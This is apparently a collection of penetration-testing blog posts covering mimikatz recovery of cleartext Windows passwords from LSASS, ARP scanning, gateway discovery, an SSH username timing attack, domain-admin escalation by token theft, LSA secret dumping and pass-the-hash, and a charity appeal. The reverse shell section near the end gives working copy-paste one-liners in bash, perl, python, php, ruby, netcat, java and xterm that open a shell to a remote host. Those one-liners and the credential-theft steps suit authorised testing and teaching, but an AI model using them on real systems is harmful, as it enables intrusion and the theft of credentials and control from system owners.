Here’s a brief post about very cool feature of a tool called mimikatz.

I’m very grateful to the tool’s author for bringing it to my attention. Until that point, I didn’t realise it was possible to recover the cleartext passwords of logged on windows users. Something that I’m sure most pentesters would find very useful.

Here’s some sample output provided by the author:

mimikatz 1.0 x86 (pre-alpha)    /* Traitement du Kiwi */

mimikatz # privilege::debug
Demande d'ACTIVATION du privilège : SeDebugPrivilege : OK

mimikatz # inject::process lsass.exe sekurlsa.dll
PROCESSENTRY32(lsass.exe).th32ProcessID = 488
Attente de connexion du client...
Serveur connecté à un client !
Message du processus :
Bienvenue dans un processus distant
                        Gentil Kiwi

SekurLSA : librairie de manipulation des données de sécurités dans LSASS

mimikatz # @getLogonPasswords

Authentification Id         : 0;434898
Package d'authentification  : NTLM
Utilisateur principal       : Gentil User
Domaine d'authentification  : vm-w7-ult
        msv1_0 :        lm{ e52cac67419a9a224a3b108f3fa6cb6d }, ntlm{ 8846f7eaee8fb117ad06bdd830b7586c }
        wdigest :       password
        tspkg :         password

Authentification Id         : 0;269806
Package d'authentification  : NTLM
Utilisateur principal       : Gentil Kiwi
Domaine d'authentification  : vm-w7-ult
        msv1_0 :        lm{ d0e9aee149655a6075e4540af1f22d3b }, ntlm{ cc36cf7a8514893efccd332446158b1a }
        wdigest :       waza1234/
        tspkg :         waza1234/

I wondered why the cleartext password would need to be stored in LSASS – after all every pentester will tell you that you don’t need the password to authenticate, just the hash.

A bit of googling seems to indicate that wdigest (the password) is required to support HTTP Digest Authentication and other schemes that require the authenticating party to know the password – and not just the hash.

I’d suggest giving it a try next time you do a security audit with local administrator rights, or next time you get a non-admin logon to a Windows system during a pentest.  It was designed to be useful for both.

Trunk contains the best all-round version. It checks some file, directory, registry and service permissions (among other things).  Reports are in HTML.

The newer wpc-2.0 branch does a better job at auditing Windows services – but does little else.  Reports are in text only.

You only need to download the .exe file. Full source code is available too, though.  It’s written in Python, uses pywin32 and “compiled” with pyinstaller. You don’t need to download any dependencies (even python) unless you’re planning to build the .exe yourself.

FAQ

Why 2 versions?

The code in “trunk” wasn’t object-oriented, making it harder to work with.  I rewrote it to create the “wpc-2.0” branch. Much better – but alas, not finished.

Can I see the source code?

Yes, it’s on google code along with the executables.

Will the program elevate privileges for me?

No.  It gives you a report describing any potential vulnerabilities it finds, but doesn’t have any autopwn features.  This is mostly to reduce the risk of my code accidentally breaking your client’s system

As your pentest starts to look more like a vulnerability assessment, you might start thinking about the following:

• How many of these systems are multihomed?
• What network services are accessible on the other interfaces?

In modern network architectures, systems often have a mangement LAN interface, or a backup LAN interface and potentially other interfaces that are more interesting than the one you’re looking at.

If you can find the IP addresses of these other interfaces, you might be able to pentest a few more interesting network services from your vantage point on the external network segment.

Finding IP Addresses of Remote Network Interfaces

If you’re lucky you’ll be able to use SNMP (generic) or a “special NetBOIS query” (Windows only) to list all the IP address of a system.

If this doesn’t work, you might be able to bruteforce the IP addresses using ARP queries.

Linux hosts will respond to ARP requests for all of their IP addresses on all of their Interfaces.   i.e. a multi-homed host might respond to both of these probes from the LAN you’re on:

arp-scan 10.0.0.99
arp-scan 192.168.0.99

This is counter-intuitive.  If you’re like me, you’d probably expect the target system to only answer ARP requests for IPs on the same LAN as the client. Indeed Solaris, Windows and AIX behave as expected.

When ARP scanning, your source IP address might be important (so also try 0.0.0.0).  Reasoning for this is discussed further here and here.

Using arp-scan, a Class B can be scanned in 36 secs on my test system, using 3% CPU and 1 MB/s bandwidth:

# arp-scan --bandwidth=1M --retry=1 --arpspa=1.1.1.1 172.16.1.0/16

So it’s just about practical to scan 10.0.0.0/8, 172.16.0.0/12 and 192.168.0.0/16. It should take less than 3 hours and would cover all hosts on the local subnet if you used broadcast ARP requests.  To do this for 4 source addresses would take 12 hours, which is a more significant amount of time.

If for some reason you don’t want to use broadcast ARP requests (maybe you’re not authorised to test the whole LAN), you can unicast requests by specifying the destination MAC address:

# arp-scan --bandwidth=1M --retry=1 --arpspa=1.1.1.1 --destaddr=00:11:22:33:44:55 172.16.1.0/16

How to Fix

Changing the arp_ignore option in /proc from 0 (default) to 1 will remedy the above behavior.

echo 1 > /proc/sys/net/ipv4/conf/all/arp_ignore

This can be useful during Internal pentests when you want to quickly check for unauthorised routes to the Internet (e.g. rogue wireless access points) or routes to other Internal LANs.  It doesn’t perform a hugely thorough check, but it is quick at least.  It’s python, so it should be easy to modify if you need it to do something more sophisticated.

Download

https://github.com/pentestmonkey/gateway-finder

Overview

You give the script the IP address of a system on the Internet you’re trying to reach and it will send the following probes via each system on the local LAN:

• An ICMP Ping
• A TCP SYN packet to port 80
• An ICMP Ping with a TTL of 1
• A TCP SYN packet to port 80 with a TTL of 1

It will report separately which systems send an ICMP “TTL exceeded in transit” message back (indicating that they’re routers) and which respond to the probe (indicating that they’re gateways to the Internet).

Dependencies

Python and Scapy.  On Debian / Ubuntu you should just need to do this:

# apt-get install python-scapy

Usage

# python gateway-finder.py -h
Usage: gateway-finder.py [ -I interface ] -i ip -f macs.txt

Tries to find a layer-3 gateway to the Internet.  Attempts to reach an IP
address using ICMP ping and TCP SYN to port 80 via each potential gateway
in macs.txt (ARP scan to find MACs)

Options:
  -h, --help            show this help message and exit
  -i IP, --ip=IP        Internet IP to probe
  -v, --verbose         Verbose output
  -I INTERFACE, --interface=INTERFACE
                        Network interface to use
  -f MACFILE, --macfil=MACFILE
                        File containing MAC addresses

Step 1: Run an ARP scan to identify systems on the local LAN

Use your favourite ARP scanning to identify systems on the local LAN. Save the output (I use to arp.txt in the example below).

# arp-scan -l | tee arp.txt
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.0.0.100     00:13:72:09:ad:76       Dell Inc.
10.0.0.200     00:90:27:43:c0:57       INTEL CORPORATION
10.0.0.254     00:08:74:c0:40:ce       Dell Computer Corp.

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.6: 256 hosts scanned in 2.099 seconds (121.96 hosts/sec).  3 responded

Step 2: Run gateway-finder on the list of local systems

Gateway-finder needs two bits of input from you:

• The MAC addresses of the potential gateways
• The IP address of a system on the Internet (I use a google.com address in the example below):

If arp.txt also contains an IP of each system on the same line as the MAC, you’ll get much nicer output.  If you need to use a different network interface, use the -I option.

# python gateway-finder.py -f arp.txt -i 209.85.227.99
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder

[+] Using interface eth0 (-I to change)
[+] Found 3 MAC addresses in arp.txt
[+] 00:13:72:09:AD:76 [10.0.0.100] appears to route ICMP Ping packets to 209.85.227.99.  Received ICMP TTL Exceeded in transit response.
[+] 00:13:72:09:AD:76 [10.0.0.100] appears to route TCP packets 209.85.227.99:80.  Received ICMP TTL Exceeded in transit response.
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] Done

I’m sure we’ve all got our own techniques for doing this. Each will have a greater or lesser risk of causing a temporary IP clash. This post explores some ways that we can minimise the risk picking an IP address that’s in use.

I make heavy use of arp-scan during the explanation below and also use the fingerprint database of arp-fingerprint. So, thanks upfront to arp-scan’s author, Roy Hills for a very useful tool and comprehensive database that made this blog post much quicker to write than it otherwise would have been. That said, this post isn’t really about tools, just a methodology for finding a free IP address.

Network Sniffing

If you find yourself on a network and DHCP fails, your best course of action is probably to sniff on the network for a while (e.g. with tcpdump or wireshark). Hopefully you’ll seem some broadcast traffic that will give you an idea of some of the IP addresses in use.

For the sake of an example, let’s assume we’ve seen traffic from 10.0.0.1.

Guess a Network Range

Now guess a netmask in which you’ll search for a free IP address – you can always expand the network range later when you’ve found a free IP and want to start your pentest. Perhaps start by assuming a Class C network, so we’re looking to find the free IPs in 10.0.0.0/24.

Use ARP Queries to Identify IPs in Use

This is the main point of the post. It seems that a few well chose ARP requests will mean that your probing is both effective and minimises the chances of causing an IP clash.

We know that we need to scan 10.0.0.0/24, but what should we choose as our source IP address? Arp-fingerprint’s database indicates that the following would be good choices:

• 127.0.0.1
• 0.0.0.0
• 255.255.255.255
• 1.0.0.1 (IP network 1.0.0.0/8 is reserved by IANA)

So the corresponding arp-scan commands would be:

 arp-scan --arpspa=127.0.0.1 10.0.0.0/24
 arp-scan --arpspa=0.0.0.0 10.0.0.0/24
 arp-scan --arpspa=255.255.255.255 10.0.0.0/24
 arp-scan --arpspa=1.0.0.1 10.0.0.0/24

But how effective is this going to be? Do systems generally respond to at least one of these probes? According to arp-fingerprint’s database, most OSs we’re likely to encounter will respond. Below is an extract from arp-fingerprint’s database (arp-scan v1.8.1). The OSs below where one of the first 4 digits is a “1” should be detected:

 my %fp_hash = (
 '11110100000' => 'FreeBSD 5.3, 7.0, DragonflyBSD 2.0, Win98, WinME, NT4, 2000, XP, 2003, Catalyst IOS 12.0, 12.1, 12.2, FortiOS 3.00',
 '01000100000' => 'Linux 2.2, 2.4, 2.6',
 '01010100000' => 'Linux 2.2, 2.4, 2.6, Vista, 2008, Windows7', # Linux only if non-local IP is routed
 '00000100000' => 'Cisco IOS 11.2, 11.3, 12.0, 12.1, 12.2, 12.3, 12.4',
 '11110110000' => 'Solaris 2.5.1, 2.6, 7, 8, 9, 10, HP-UX 11',
 '01000111111' => 'ScreenOS 5.0, 5.1, 5.3, 5.4',
 '11110000000' => 'Linux 2.0, MacOS 10.4, IPSO 3.2.1, Minix 3, Cisco VPN Concentrator 4.7, Catalyst 1900',
 '11110100011' => 'MacOS 10.3, FreeBSD 4.3, IRIX 6.5, AIX 4.3, AIX 5.3',
 '10010100011' => 'SCO OS 5.0.7',
 '10110100000' => 'Win 3.11, 95, NT 3.51',
 '11110000011' => '2.11BSD, 4.3BSD, OpenBSD 3.1, OpenBSD 3.9, Nortel Contivity 6.00, 6.05',
 '10110110000' => 'NetBSD 2.0.2, 4.0',
 '10110111111' => 'PIX OS 4.4, 5.1, 5.2, 5.3',
 '11110111111' => 'PIX OS 6.0, 6.1, 6.2, ScreenOS 5.0 (transparent), Plan9, Blackberry OS',
 '00010110011' => 'PIX OS 6.3, 7.0(1), 7.0(2)',
 '01010110011' => 'PIX OS 7.0(4)-7.0(6), 7.1, 7.2, 8.0',
 '00000110000' => 'Netware 6.5',
 '00010100000' => 'Unknown 1', # 14805 79.253 Cisco
 '00000110011' => 'Cisco IP Phone 79xx SIP 5.x,6.x,7.x',
 '11110110011' => 'Cisco IP Phone 79xx SIP 8.x', # Also 14805 63.11 Fujitsu Siemens
 );

So by covering pretty much every version of Windows, Linux and Solaris, we’ve covered most of the servers and workstations types we’re likely to encounter on pentests (or at least the main ones that I encounter). The following won’t be found:

 '00000100000' => 'Cisco IOS 11.2, 11.3, 12.0, 12.1, 12.2, 12.3, 12.4',
 '00000110000' => 'Netware 6.5',
 '00000110011' => 'Cisco IP Phone 79xx SIP 5.x,6.x,7.x',

The Risky Bit

So we think we’ve found most of the IPs that are used in 10.0.0.0/24, but we’re not absolutely sure.

Now, we can now do a small number of ARP probes from what we think is an unused IP address in the range. In fact, we’ll pick two IP addresses so we can verify that they’re both really free.

1. Choose two (apparently) free addresses between the smallest and largest IP you’ve observed. Don’t choose an IP outside of this range unless you have to because your guess at the netmask might have been wrong. We’ll choose 10.0.0.99 and 10.0.0.11 for this example.
2. From each IP address, make an ARP request for the other

 arp-scan --arpspa=10.0.0.11 10.0.0.99
 arp-scan --arpspa=10.0.0.99 10.0.0.11

If you receive no response these probes, you can be sure they’re both free. Pick one and do an “arp-scan -l” with various netmasks until you’re happy your netmask is big enough.

If you receive a response to one of the probes above, change the used IP for another apprently free one and repeat.

Disclaimer

To the best of my knowledge the requests recommended above should be relatively safe or at least show diligence on your part.  I accept no responsibility if it anything goes wrong, though.

The most common form of timing attack I’ve noticed while pentesting is that the server may take longer to respond to a valid username than to an invalid username.  This can be handy for bruteforcing a list of valid usernames.  I’ll work through an example of such an attack below.

The script could also be used to test other types of timing attack.  It should provide microsecond-resolution timing.

In its simplest form, you give it two commands you want it to record the execution time of.  It will run those commands 100 times (by default), recording how long it takes.

timing-attack-check.pl 'login.pl -u knownuser -p x' 'login.pl -u notexist -p x'

The data is optionally saved in tab-delimited format for import into a spreadsheet.  Some raw stats are also output to help you decide if you’ve found a timing attack or not.

Download

Get the latest version from github

Usage

timing-attack-checker v1.0 http://pentestmonkey.net/tools/timing-attack-checker

Usage: timing-attack-check.pl [ options ] 'cmd1' 'cmd2' ['cmd3' ...]

options are:
  -n N      Number of times to run the commands
  -o file   File to write tab delimited data to

Example:
  timing-attack-check.pl 'login.pl -u knownuser -p x' 'login.pl -u notexist -p x'

Dependencies

• PERL
• Linux (because I use /dev/null for some output)
• Time::HiRes module (probably installed by default – it is on Ubuntu 11.04)

Worked Example

I set up an SSH server that only allowed logins using keys, not passwords.  I wanted to know if the server would take longer to respond to a login attempt for a valid username than for an invalid username – presumably it does less work if the username is invalid.  I load an SSH key into my ssh-agent so that the SSH client offers it to the server for each login attempt.

I used the following usernames for testing:

• “x” the name of an account that exists.  It also has an ~/.ssh/authorized_keys file
• “y” the name of a non-existent account.
• “z” the name of an account that exists.  It has no ~/.ssh/authorized_keys file

I had an ssh-agent running that had one key loaded.  The key was not authorised to log into any account on the target system:

$ ssh-keygen -f key1
$ eval `ssh-agent`
$ ssh-add key1

I ran the following command to make 40 login attempts for each:

$ timing-attack-checker.pl -o data.txt -n 40 'ssh x@host' 'ssh y@host' 'ssh z@host'

The script output the following:

[D] Running command: ssh x@host
[D] Command took 0.464256 secs
[D] Running command: ssh y@host
[D] Command took 0.115495 secs
[D] Running command: ssh z@host
[D] Command took 0.128768 secs
[D] Running command: ssh x@host
[D] Command took 0.125885 secs
[D] Running command: ssh y@host
... snip ...
=================================================
Results for: ssh x@host
Average time: 0.143035425
Minimum time: 0.10777
Maximum time: 0.464256
Standard deviation: 0.0608662980593068 (i.e. 68% of times within 1 sd, 95% within 2 sd)
Was fastest on 3 out of 40 occassions (7.5% of the time)
Was slowest on 10 out of 40 occassions (25% of the time)
=================================================
Results for: ssh y@host
Average time: 0.120723175
Minimum time: 0.095311
Maximum time: 0.206071
Standard deviation: 0.0171279751063684 (i.e. 68% of times within 1 sd, 95% within 2 sd)
Was fastest on 36 out of 40 occassions (90% of the time)
Was slowest on 3 out of 40 occassions (7.5% of the time)
=================================================
Results for: ssh z@host
Average time: 0.132942175
Minimum time: 0.114824
Maximum time: 0.154482
Standard deviation: 0.00611497853997666 (i.e. 68% of times within 1 sd, 95% within 2 sd)
Was fastest on 1 out of 40 occassions (2.5% of the time)
Was slowest on 27 out of 40 occassions (67.5% of the time)
=================================================
[+] Saving tab-delimited data to data.txt

There are a lot of stats there.  Let’s discuss each in turn an see if it leads us to believe that there’s a username enumeration issue:

• Average time: This ranges from about 0.12 secs to 0.14 secs.  That’s a difference of more than 10%.  It’s also comparable to a standard deviation (depending which of the 3 you use).  It could be random noise caused by the laggy wireless network I ran it over.  “x” looks pretty slow.  “y” looks pretty fast.
• Min/Max time: The min and max times for each login attempt would ideally be very similar.  We see that for some usernames the max is 2x or 4x higher than the min.  This shows we might have a choppy network connection.  Or maybe the client or server is busy.  This min/max helps to show the consistency (or otherwise) of the data collected.  Our samples aren’t particularly consistent.
• Standard Deviation: How close our samples are to the average.  If themin/max of your sample set are similar and the difference between average login time for “x” and “y” (say) is more than 2 standard deviations, I think you can be pretty sure you’ve found a timing attack.  That doesn’t apply to the data we collected here (more like 1 sd).
• Fastest/Slowest: Shows how consistently a command was the fastest/slowest in its round.  This can be useful for busy network/hosts if you can assume that all attempts will be slowed down consistently by network/host problems.  Logins were faster for “y” on 90% attempts, compared to the 33% you’d expect if no timing attack was present.  This seems quite compelling evidence that we can detect accounts that don’t exist – remember “y” doesn’t exist.

So in conclusion, it seems that it would be possible to bruteforce a list of usernames that exist on the server tested.  If anyone wants to look further into this issue, I’ve included details on my config at the end of this post.

More generally, you’ll probably want to run only two commands, not three or more.  The option is there if you need it, though.

Notes on SSH Server Config

OS: Ubuntu 11.04

SSH Daemon: OpenSSH_5.8p1 (package: openssh-server 1:5.8p1-1ubuntu3)

Changes to default /etc/ssh/sshd_config:

PasswordAuthentication no
Port 12345

CPU: AMD Athlon(tm) 64 X2 Dual Core Processor 5000+

RAM: 2GB

Network: Wireless connection capable of around 3.5 MB/sec

Server was idle during testing.

When I audit a system via Terminal Services, I usually map a drive to or from the system depending on what the Firewall will allow.

Sometimes, it won’t allow either, though.  In those cases one of the few options remaining is to configure mstsc.exe to expose a local drive on your client system to the server, accessing it via \\tsclient.  But, you probably want to avoid exposing your whole C: drive.

Assuming that you didn’t have the foresight to create a dedicated partition for this purpose (I didn’t), you can easily simulate a drive using subst:

subst s: c:\share

Then you can configure mstsc.exe to only share your S: drive, leaving you less exposed.

Nice tip, Ken.

The premise of all the techniques is to obtain access to as many domain accounts as possible using the credentials stored on the domain member you’ve compromised.

Tools are briefly discussed for each technique.  This page is really about the techniques, though, not the tools.  While tools will change, I suspect these techniques will be with us for some considerable time yet.

I’ve tried to rate each technique in order of how much effort it is for the pentester.  Some technqiues give almost instant results and are therefore worth trying first.  Others require password cracking and are a last resort really if nothing else works.

Very Quick: Duplicate Access Tokens (Incognito)

Incognito, either as a standalone tool, or via metasploit’s meterpreter will scan through all the running processes on the box and list you the delegation tokens it finds.  Without doing any analysis yourself you can try creating a domain admin account with each token.  If it succeeds without any effort on your part, so much the better.

If you don’t succeed in getting a domain admin account straight away, you may still be able to abuse the privileges of a normal domain user (e.g. to list domain accounts and group memberships).  Perhaps try the techniques below before trying too hard…

Quick: Dump LSA Secrets (lsadump)

If any Windows services are running under a domain account, then the passwords for those accounts must be stored locally in a reversible format.  LSAdump2, LSASecretsDump, pwdumpx, gsecdump or Cain & Abel can recover these.

You might have to stare at the output of lsadump and the list of services in

After you’ve correlated plain text passwords from the “_SC_<service name>” sections of LSAdump with the domain usernames from services.msc using the short “service name”, you should a list of domain accounts and cleartext passwords.

Investigate your new found accounts and see if you’re domain admin yet.

Quick: Dump SAM-Style Hashes for Access Tokens (WCE)

Windows Credentials Editor (a more mature version of the now obsolete Pass The Hash Toolkit) recovers the SAM-style password hash for each process from LSASS – including domain accounts.  Initially, this has a similar effect to Incognito.  But has a couple of advantages:

• You can authenticate using the hash long after the corresponding process has terminated or the system has been rebooted.  You can do this using WCE itself, or use tools like psexec (example here), smbshell and metasploit’s psexec to authenticate using a password hash instead of a password.
• You can try the password hash in conjunction with a different username (or all usernames) using keimpx, or similar.  You’re hoping for password reuse at this stage.

Gsecdump is an alternative tool for obtaining password hashes for running processes.

If SAM-style hashes aren’t sufficient for some reason, WCE can also steal kerberos tickets (PDF link) – e.g. to authenticate to unix systems.  Pass-the-ticket as opposed to pass-the-hash.

Quick: Dump SAM, Spray Hashes

Dumping the password hashes from the local SAM using fgdump, pwdump7, Cain & Abel, etc. won’t necessarily get you a domain account, but if one of the local passwords is the same as one of the domain passwords, you might be in luck.  Keimpx will help you try the hashes again the domain accounts.

Careful not to lock the domain accounts out, though!

It’s probably worth spraying the hashes against the local accounts on other systems.  If you fail to get domain admin, you might get local admin on every other system if the local admin passwords are the same.  You can then rinse and repeat the techniques on this page until you get your domain admin account.

Slow: Cracking SAM-Style Password Hashes Crack Passwords

If you’ve already tried authenticating using the hashes you’ve collected and you’ve tried hashes against other accounts, there’s probably little value in cracking the passwords.  John the Ripper, Cain & Abel and ophcrack are just a few of the password crackers available.

You might find a pattern in the passwords used.  Possibly crack hashes from the password history too.

Another reason to crack passwords is if you’re targeting a service that insists on you knowing the password – e.g. Terminal Services.

It’s starting to feel like a longshot now…

Very Slow: Dump Cached Domain Logons, Crack

If the domain member has cached domain logons, you might be able to recover passwords from the corresponding hashes (e.g. using  fgdump, pwdumpx, cachedump, meterpreter).  However, hashes are salted and they’re case sensitive.  If there’s a reasonable password policy, you’re going to need some luck.

You can’t use these hashes without cracking them – unlike the SAM-style hashes.

Other Techniques

There are of course other many other techniques you could try.  Some are more open-ended or less likely to succeed in the general case.  Here are a few ideas:

• Trawling the filesystem looking for passwords.  Unattend.txt might have an admin password in it if present.  You can probably recover the SAM from .vhd files.  Other backup files may also yield passwords.
• Trawling the registry.  Credentials such as VNC password and SNMP community string can be recovered.  They might be useful on your quest for domain admin.
• Protected Storage.   This might yield passwords that are reused elsewhere.

If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port.  This page deals with the former.

Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you’re suitably well prepared.

The examples shown are tailored to Unix-like systems.  Some of the examples below should also work on Windows if you use substitute “/bin/sh -i” with “cmd.exe”.

Each of the methods below is aimed to be a one-liner that you can copy/paste.  As such they’re quite short lines, but not very readable.

Bash

Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

PERL

Here’s a shorter, feature-free version of the perl-reverse-shell:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

There’s also an alternative PERL revere shell here.

Python

This was tested under Linux / Python 2.7:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

This code assumes that the TCP connection uses file descriptor 3.  This worked on my test system.  If it doesn’t work, try 4, 5, 6…

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

If you want a .php file to upload, see the more featureful and robust php-reverse-shell.

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat

Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.

nc -e /bin/sh 10.0.0.1 1234

If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

[Untested submission from anonymous reader]

xterm

One of the simplest forms of reverse shell is an xterm session.  The following command should be run on the server.  It will try to connect back to you (10.0.0.1) on TCP port 6001.

xterm -display 10.0.0.1:1

To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001).  One way to do this is with Xnest (to be run on your system):

Xnest :1

You’ll need to authorise the target to connect to you (command also run on your host):

xhost +targetip

Further Reading

Also check out Bernardo’s Reverse Shell One-Liners.  He has some alternative approaches and doesn’t rely on /bin/sh for his Ruby reverse shell.

There’s a reverse shell written in gawk over here.  Gawk is not something that I’ve ever used myself.  However, it seems to get installed by default quite often, so is exactly the sort of language pentesters might want to use for reverse shells.

They need to raise about 785 USD / month to fund the good work they’re doing in Uganda.

Netsparker recently tweeted that they’re donating 785 USD.  Rapid7 are giving 5000 USD.  There are many more on the Donate Plus Wall.

If you prefer to give regular donations instead of a big lump sum, you can do so on the bottom right of this page.

Pentestmonkey has donated 240 USD (12 x 20 USD).  If 39 more hackers do the same, that will cover their current costs for a year.

Can you spare 20 USD / month for a good cause?

PS I hope you’ll excuse the non-security post.  I try to keep these to a minimum.  I think you’ll agree that it’s in a good cause, though.